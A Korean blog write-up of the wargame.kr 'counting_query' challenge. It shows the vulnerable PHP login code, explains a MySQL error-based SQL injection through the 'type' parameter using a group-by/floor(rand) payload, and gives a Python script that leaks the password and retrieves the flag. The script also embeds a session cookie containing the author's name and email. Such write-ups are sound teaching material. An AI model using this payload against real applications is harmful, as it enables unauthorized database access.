<?php
 
if (isset($_GET['view-source'
])) {
     
show_source(__FILE__
);
     exit();
 }
 include(
"./inc.php"); 
// database connect.
 
include("../lib.php"); 
// include for auth_code function.

 
ini_set('display_errors',false
);

 function 
err($str){ die("<script>alert(\"$str\");window.location.href='./';</script>"
); }
 function 
uniq($data){ return md5($data.uniqid
());}
 function 
make_id($id){ return mysql_query("insert into all_user_accounts values (null,'$id','".uniq($id)."','guest@nothing.null',2)"
);}
 function 
counting($id){ return mysql_query("insert into login_count values (null,'$id','".time()."')"
);}
 function 
pw_change($id) { return mysql_query("update all_user_accounts set ps='".uniq($id)."' where user_id='$id'"
); }
 function 
count_init($id) { return mysql_query("delete from login_count where id='$id'"
); }
 function 
t_table($id) { return mysql_query("create temporary table t_user as select * from all_user_accounts where user_id='$id'"
); };

 if(empty(
$_POST['id']) || empty($_POST['pw']) || empty($_POST['type'
])){
  
err("Parameter Error :: missing"
);
 }

 
$id=mysql_real_escape_string($_POST['id'
]);
 
$ps=mysql_real_escape_string($_POST['pw'
]);
 
$type=mysql_real_escape_string($_POST['type'
]);
 
$ip=$_SERVER['REMOTE_ADDR'
];

 
sleep(2); 
// not Bruteforcing!!

 
if($id!=$ip
){
  
err("SECURITY : u can access with allotted id only"
);
 }

 
$row=mysql_fetch_array(mysql_query("select 1 from all_user_accounts where user_id='$id'"
));
 if(
$row[0]!=1
){
  if(
false === make_id($id
)){
   
err("DB Error :: create user error"
);
  }
 }
 
 
$row=mysql_fetch_array(mysql_query("select count(*) from login_count where id='$id'"
));
 
$log_count = (int)$row[0
];
 if(
$log_count >= 4
){
  
pw_change($id
);
  
count_init($id
);
  
err("SECURITY : bruteforcing detected - password is changed"
);
 }
 
 
t_table($id); 
// don`t access the other account

 
if(preg_match("/all_user_accounts/i",$type
)){
  
err("SECURITY : don`t access the other account"
);
 }

 
counting($id); 
// limiting number of query

 
if(false === $result=mysql_query("select * from t_user where user_id='$id' and ps='$ps' and type=$type"
)){
  
err("DB Error :: ".mysql_error
());
 }

 
$row=mysql_fetch_array($result
);
 
 if(empty(
$row['user_id'
])){
  
err("Login Error :: not found your `user_id` or `password`"
);
 }

 echo 
"welcome <b>$id</b> !! (Login count = $log_count)"
;
 
 
$row=mysql_fetch_array(mysql_query("select ps from t_user where user_id='$id' and ps='$ps'"
));

 
//patched 04.22.2015
 
if (empty($ps)) err("DB Error :: data not found.."
);

 if(
$row['ps']==$ps){ echo "<h2>wow! auth key is : ".auth_code("counting query")."</h2>"
; }

?>

 

문제의 코든데 type파라미터에서 SQLi가 대놓고 터진다. 코드를 좀 더 보면 쿼리를 4번날리면 패스워드가 초기화되서 3번안에 현재 패스워드값을 구한다음 인증하면 된다. 어차피 에러를 친절히 뿌려줘서 에러베이스드로 뽑으면되기때문에 3번갈필요도없이 2번이면 패스워드 구하고 인증까지 가능하다.

 

별다른 필터도 없어서 그냥 바로 데이터를 뽑으려고 했는데 간단한 문제가 두가지정도 있었다.

 

일단 데이터를 뽑을 때 (select ps from t_user) 요런식으로 데이터부분을 서브쿼리형태로 지정해주면 Can't reopen table: 't_user' 요런 에러가 반겨줬다. 찾아보니 임시테이블은 동시에 두군데 이상에서 참조할 수 없어 발생한다고 한다. 이건 근데 어차피 SQLI가 터지는 쿼리의 테이블이 t_user니까 ps로 바로 뽑으면 되서 문제될게 없었다.

 

여기서 두번째 문제가 발생했는데 내가 젤먼저 썻던 에러베이스 구문인 extractvalue, updatexml에서 서브쿼리 형태로 데이터를 뽑지않고 다이렉트로 컬럼명을 써주게 되면 Only constant XPATH queries are supported 요런에러가 뜨면서 데이터가 안뽑혔다.

 

즉 데이터 부분을 서브쿼리로 지정하지 않고 컬럼명을 다이렉트로 쓴 상태로 데이터를 뽑을 수 있는 에러베이스드 구문이 필요했는데 기존의 정리해논 group by사용하는 구문으로 시도해보니 데이터가 잘 뽑혔다.

 

요런식으로 간단하게 코드짜서 익스했다.


import urllib2

import sys


def request(data):

    url = "http://wargame.kr:8080/counting_query/login_ok.php"

    req = urllib2.Request(url,data)

    req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')

    req.add_header('Cookie','ci_session=a%3A10%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22da47b74cdce1c92a638a96208d90976b%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A8%3A%2210.0.2.2%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A68%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+WOW64%3B+Trident%2F7.0%3B+rv%3A11.0%29+like+Gecko%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1525879816%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22name%22%3Bs%3A12%3A%22JeonYoungSin%22%3Bs%3A5%3A%22email%22%3Bs%3A19%3A%22eorms36%40hanmail.net%22%3Bs%3A4%3A%22lang%22%3Bs%3A3%3A%22kor%22%3Bs%3A11%3A%22achievement%22%3Bs%3A7%3A%22default%22%3Bs%3A5%3A%22point%22%3Bs%3A5%3A%2223138%22%3B%7D465203728384ff49206716bba2df3b1475ab103f')

    response = urllib2.urlopen(req).read()

    if "bruteforcing detected" in str(response):

        print "Login Count 4 Fail.."

        sys.exit(1)

    return response



payload = "id=10.0.2.2&pw=123&type="+urllib2.quote("1 or row(1,1)>(select count(*),concat(ps,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1)-- x")

result = request(payload).split("'")[1]

result = result[:len(result)-1]

print "[*]Find PS = "+result


payload = "id=10.0.2.2&pw=" + result + "&type=2"

result1 = request(payload).split(':')[1]

print "[*]Find Flag = " + result1.split('<')[0]

'Wargame > wargame.kr' 카테고리의 다른 글

wargame.kr lazy judge  (1) 2019.07.31
wargame.kr pw crack  (0) 2018.05.10
wargame.kr login with crypto! but..  (0) 2018.05.10
wargame.kr CustomOS  (0) 2018.05.10
wargame.kr DLL with notepad  (0) 2018.05.09
블로그 이미지

JeonYoungSin

메모 기록용 공간

,